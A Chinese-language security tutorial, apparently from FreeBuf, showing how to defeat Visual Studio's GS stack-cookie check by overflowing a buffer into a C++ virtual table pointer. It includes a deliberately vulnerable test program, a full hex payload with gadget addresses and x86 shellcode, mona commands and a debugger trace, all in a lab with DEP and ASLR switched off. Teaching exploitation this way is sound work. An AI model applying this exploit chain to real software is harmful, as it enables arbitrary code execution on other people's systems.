個人感覺利用虛函數過GS保護過程稍微會複雜些,因爲涉及到多次跳轉。爲了寫清楚利用虛函數過GS,本文從payload構造切入,着重描寫payload構建過程,從而讓讀者明白利用虛函數過GS的細節;並且在payload構建過程,對跳轉細節採用圖解方式,讓讀者跳出代碼,先理清楚整個邏輯關係,然後再載入payload,講解整個payload運行過程。(需要說明的是文中的尋址圖,僅僅爲了更清楚的描述跳轉過程,不完全代碼在內存中的存儲順序)。balabala~~新手上路,請多多關愛,如有寫的不好的地方,請輕噴,感謝!╮(╯▽╰)╭

一、GS保護

我們知道普通的棧溢出漏洞是通過覆蓋返回地址,針對這一漏洞,微軟在編譯時使用了一個安全編譯選項GS,Visual Studio默認啓用了這個編譯選項,如下圖所示。

開啓GS保護後,在所有函數調用前,會先向棧內壓入一個隨機數,這個隨機數被稱作canary或者爲security cookie,這個隨機數是位於EBP之前,並且系統還會在.data內存區域存放一個security cookie的副本;在函數返回前,系統會執行安全驗證操作,即call __security_check_cookie,去比較原先存放在棧中的canary和.data中副本的值,如果兩者不一致,說明棧中發生了溢出,因此之前通過覆蓋返回值來實現棧溢出是不可行的。因此開啓了過GS保護的研究熱潮,包括利用攻擊異常過GS、利用虛函數過GS等。

突破思路:如果我們可以在程序檢查security cookie之前劫持程序流程的話,就可以實現對程序的溢出了。

二、虛函數

在C++中,當成員函數被關鍵詞virtual修飾時,我們將其稱之爲虛函數。首先我們需要知道虛函數入口地址被統一保存在虛表中。當對象在使用虛函數時,先通過虛表指針找到虛表,然後從虛表中取出最終的函數入口地址進行函數調用。

可以看到虛表指針地址和局部變量在內存空間中是緊接着的。因此猜想如果成員變量發生了溢出,是否可以覆蓋 虛表指針將虛表指針指向payload ,通過精心構造payload能否成功執行shellcode?

三、利用虛函數過GS實例

3.1 實驗環境

環境 備註
操作系統 win7
編譯器 VS2015
編譯選項 需要打開GS,關閉DEP,關閉ALSR,關閉safeseh和修改基址 具體下面有圖
build版本 release

編譯選項具體如下:

1)修改代碼基址,如修改爲0×41400000,避免代碼中的strcpy存在00截斷。

2)需要 打開GS :項目屬性–>C/C++–>代碼生成->安全檢查->啓用安全檢查(GS)

3)關閉DEP,關閉ALSR,關閉safeseh,在項目->屬性->鏈接器中依次修改。

3.2代碼分析

我們先給出利用虛函數過GS的完整代碼,包括傳入的payload,payload的構成後面會解釋。

#include "stdafx.h"
#include <windows.h>
#pragma warning(disable:4996)//該行用來屏蔽strcpy的警告
class Vir {
public:
    void test(char* str)
    {
        char buf[0x100];//局部變量buf
        strcpy(buf, str);
        printf("buf:%d\n%s\n", strlen(buf), buf);
        this->virfun();//調用虛函數
    }
    virtual void virfun()
    {
        printf("I am virtual function\n");
    }
};
int main()
{
    Vir v;
    v.test("\x53\x13\x40\x41"//ppt指令序列地址   
        "\x90\x90\x90\x90\x90\x90\x90\x90\xaf\x10\x40\x41"//jmpesp地址  
        "\x90\x90\x90\x90\x90\x90\x90\x90"//滑軌    
        "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"//shellcode
        "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
        "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
        "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
        "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
        "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
        "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
        "\x49\x0b\x31\xc0\x51\x50\xff\xd7" 
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//  
        "\x24\xfe\x18\x00");//原始參數地址
    getchar();
    if (1<0)
        _asm//防止內存中沒有jmp esp指令
    {
        jmp esp
    }
    return 0;
}

代碼分析:

1)類Vir中有個虛函數virfun()和成員函數test()。在成員函數test中,將傳入的數據payload作爲參數,並將其賦值到成員變量buf中,這裏存在典型的溢出漏洞。
2)在函數test中也調用了虛函數virfun(),因此buf變量發生溢出有可能會影響到虛函數指針。
3)系統調用虛函數是在檢查security cookie之前,因此可以在調用虛函數時,拿到程序控制,將其指向自己的payload。

各函數變量地址:爲了更好的理解後面的payload構造,我們先給出代碼中關鍵變量和虛函數相關地址。其中虛表指針地址爲0x0018ff34,虛表地址爲0×41402254,虛函數入口地址爲0×41401070,調用虛函數virfun()即call 0×41401070。原始參數str首地址爲0×41402138,局部變量buf地址爲0x0018fe24。

通過虛函數過GS保護利用思路:主要是通過局部變量溢出,覆蓋虛表指針值,將虛表指針指向我們精心構造的payload,下面我們就詳細說明payload的構造過程。

3.3 payload構造

爲了精準覆蓋虛表指針,我們首先需要計算偏移量,即虛表指針地址與局部變量buf的距離,然後將虛表指針指向的虛表地址0×41402254覆蓋成原始參數str的首地址0×41402138,即讓虛表指針指向原始參數。

計算偏移量有很多種方法,可以直接手算虛表指針地址與局部變量buf的距離爲0x0018ff34-0x0018fe24=0×00000110=272字節。如果遇到難算的可以利用Immunity Debugger工具生成字符串,然後計算偏移量。這裏還是演示下做法。

(1)利用Immunity Debugger工具生成300字節的字符串

!mona pc 300  

(2)打開Immunity Debugger工具所在目錄的pattern.txt文件,得到300長度字符串:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

(3)傳入300字符串,調試運行,報錯,複製報錯地址0x316A4130

(4)計算偏移量,得到偏移量爲272

!mona po 0x316A4130   或者!mona po 0Aj1 

這時候的payload構成初步如下:

虛函數尋址變成了下圖所示。

圖中完成了將虛表指針指向原始參數str(0×41402138),實現了虛表指針跳到了原始參數上(原先的虛表),但是我們知道虛表指針跳到虛表,然後繼續跳轉到虛函數地址處,執行虛函數地址處的代碼。因此下一步我們需要考慮虛函數地址填什麼(圖中問號???處)?即原始參數str(payload)前四個字節的值。這裏我們需要考慮兩個問題:

1) 圖中問號處的內容必須是地址(可跳轉),而不是數據

2) 面臨着一個call操作,即call 虛函數地址,因此我們要考慮怎麼能執行完call後,還可以回到shellcode內存空間繼續執行呢?這裏我們知道存儲shellcode內存空間有兩塊,一個是原始參數str處(0×41402138),第二個是通過strcpy函數賦值成功的局部變量buf(0x0018fe24),這個時候我們需要觀察棧和寄存器的狀態,如下圖所示。

首先我們發現原始參數(0×41402138)不在棧中,因此無法跳回原始參數的內存空間繼續執行,但是驚喜的發現buf首地址0x18FE24=ESP+4,又想到跳轉後緊接着執行的是call操作,於是我們只需要執行“pop pop ret”指令序列(後面簡稱ppt)後就可以轉到buf首地址0x0018FE24執行,因爲call操作會將返回地址入棧,即esp爲0x0018FE1C,然後pop pop ,在ret時,棧頂爲0x0018FE24,就可以轉到0x0018FE24處執行了。因此這時候,我們只需要找到ppt指令序列地址,可以利用Immunity Debugger工具找,加載當前exe,使用!mona seh 指令搜索ppt指令地址,如下圖。我們搜到7個ppt指令序列地址,這裏選擇的要求爲ppt指令序列操作不影響當前程序流程,因此選擇不帶ebp esp這種指令就可。這裏我們選擇的ppt指令序列地址爲0×41401353。

這時候的payload結構爲:

寫到這裏,可能會想到ppt地址後,直接+shellcode+填充+原始參數地址,即可構成最後的payload,但是事實卻沒有這麼簡單,我看了很多網上的教程,大部分人都只寫到了這裏,便可以成功執行shellcode,但是我仔細調試了代碼,發現是存在問題的。因爲跳到buf內存後,0x0018FE24處是個ppt指令序列地址0×41401353,就會再一次執行ppt指令序列,因此又如何重新返回當前shellcode內存空間呢?這裏我們先理下整體思路,如下圖所示。

我們需要知道局部變量buf和原始參數的值都爲payload數據。然後結合上圖對跳轉進行如下分析:

1跳:利用局部變量buf溢出,將虛表指針精準覆蓋爲原始參數地址0×41402138,因此通過虛表指針跳到原始參數地址處。

2跳:和經過分析棧狀態,發現不可能跳回原始參數內存區域,但發現局部變量buf地址=當前esp+4,並且知道將執行call指令,結合 上述兩點,只需要將虛函數地址填爲ppt指令序列地址,即可完成跳到shellcode內存區域,即局部變量buf地址處。這裏2跳是指將虛函數地址填充爲ppt指令序列地址,然後執行虛函數,即call 0×41401353(ppt指令序列地址),將返回地址入棧。

3跳:跳轉到ppt指令序列地址,執行pop ecx; pop ecx;後,棧頂爲0x0018fe24,然後ret,跳到局部變量buf首地址處。

4跳:這個時候,跳到局部變量buf首地址處,發現,當前地址0x0018fe24內容爲ppt指令序列地址0×41401353,因此會再一次pop兩次出0x0018fe28和0x0018fe2C的值,然後執行ret指令,挑轉到0x18ffe30處,EIP=???(圖中),跳到???處。這個的???必須是地址,並且能夠再次跳回shellcode棧空間執行,這時候觀察堆棧狀態,發現esp=0x0018fe34,因此很容易想到0x0018fe30處填的是jmp esp地址。

5跳:jmp esp,跳到0x0018FE34,執行shellcode。

jmpesp地址可以利用Immunity Debugger工具搜索:得到jmpesp地址爲0x414010af

指令:

!mona jmp -r esp

這裏需要說明0x0018fe28和0x0018fe2C地址的值可以任意填充,不影響程序流程的指令即可,這裏用“\x90”填充,因爲他們只需要pop出去就可。

我習慣shellcode前加nop滑軌方便調試,因此綜上分析,最終payload結構爲:

"\x53\x13\x40\x41"   //ppt指令序列地址   
"\x90\x90\x90\x90\x90\x90\x90\x90\xaf\x10\x40\x41"//jmpesp地址*3  
"\x90\x90\x90\x90\x90\x90\x90\x90"   //nop滑軌    
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"//shellcode
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//滑軌  
"\x38\x21\x40\x41");//原始參數地址

3.4 代碼跟蹤

爲了更好的理解利用虛函數過GS保護過程,最後我們利用構造好的payload,來跟蹤下執行過程。這裏只貼出關鍵點的圖片。先看下各變量的地址。

下圖可以看到虛表指針(0x0018FF34)已經指向原始參數(0×41402138),原始參數也已經指向ppt指令序列地址(0×41401353)。

下圖,執行虛函數call 0×41402138(原始參數地址),並且可以看到當前esp+4=buf首地址(0x0018FF34)。

下圖,執行call函數後,返回地址入棧,這時候可以看到當前esp爲0x0018FE1C,然後繼續執行ppt指令序列0×41401353,pop兩次後,將棧頂esp0018FE24處的ppt序列指令0×41401353給EIP,再一次跳轉到0×41401353地址。

下圖,這時候看到當前esp爲0x18FE28

下圖,執行Pop pop指令,將2個”\x90x90x90x90″pop出,當前esp=0x0018FE30,然後ret,將跳轉到0x0018FE30處的0x414010af處(jmpesp地址)

跳到jmpesp指令地址,然後執行指令 jmp esp

重新跳回shellcode內存區域,0x0018FE34處,開始執行nop滑軌,緊接着爲shellcode,這樣就成功執行了shellcode。

四、小結

思路:精準覆蓋虛表指針爲原始參數地址,然後利用PPT指令序列跳板,跳到局部變量內存區間,然後執行局部變量內存的PPT序列,再利用jmpesp跳板重新跳回局部變量內存空間,執行shellcode。這裏需要說明的有兩點:

1)我看到網上也有將虛表指針直接覆蓋爲局部變量地址,局部變量地址是0×00開頭,雖然strcpy存在00截斷,但是因爲虛表指針放在payload最後面,即使最後個00字節截斷,但是原有系統高位就是00,因此也可成功將虛表指針直接覆蓋爲局部變量地址。例如”\x24\xfe\x18\x00″。

2)無論是將虛表地址覆蓋爲原始參數地址還是局部變量地址,我跟蹤的跳轉流程和payload構造和本文寫的差不多,但是我發現網上博客和書上都沒有提到二次PPT,從而也沒有用到jmpesp跳板,也成功執行了shellcode。這裏我是保留疑問的,如果大家也有疑問可以互相交流。

REF

《0day安全:軟件漏洞分析技術》

*本文作者:m01idu0du0,轉載請註明來自FreeBuf.COM

相關文章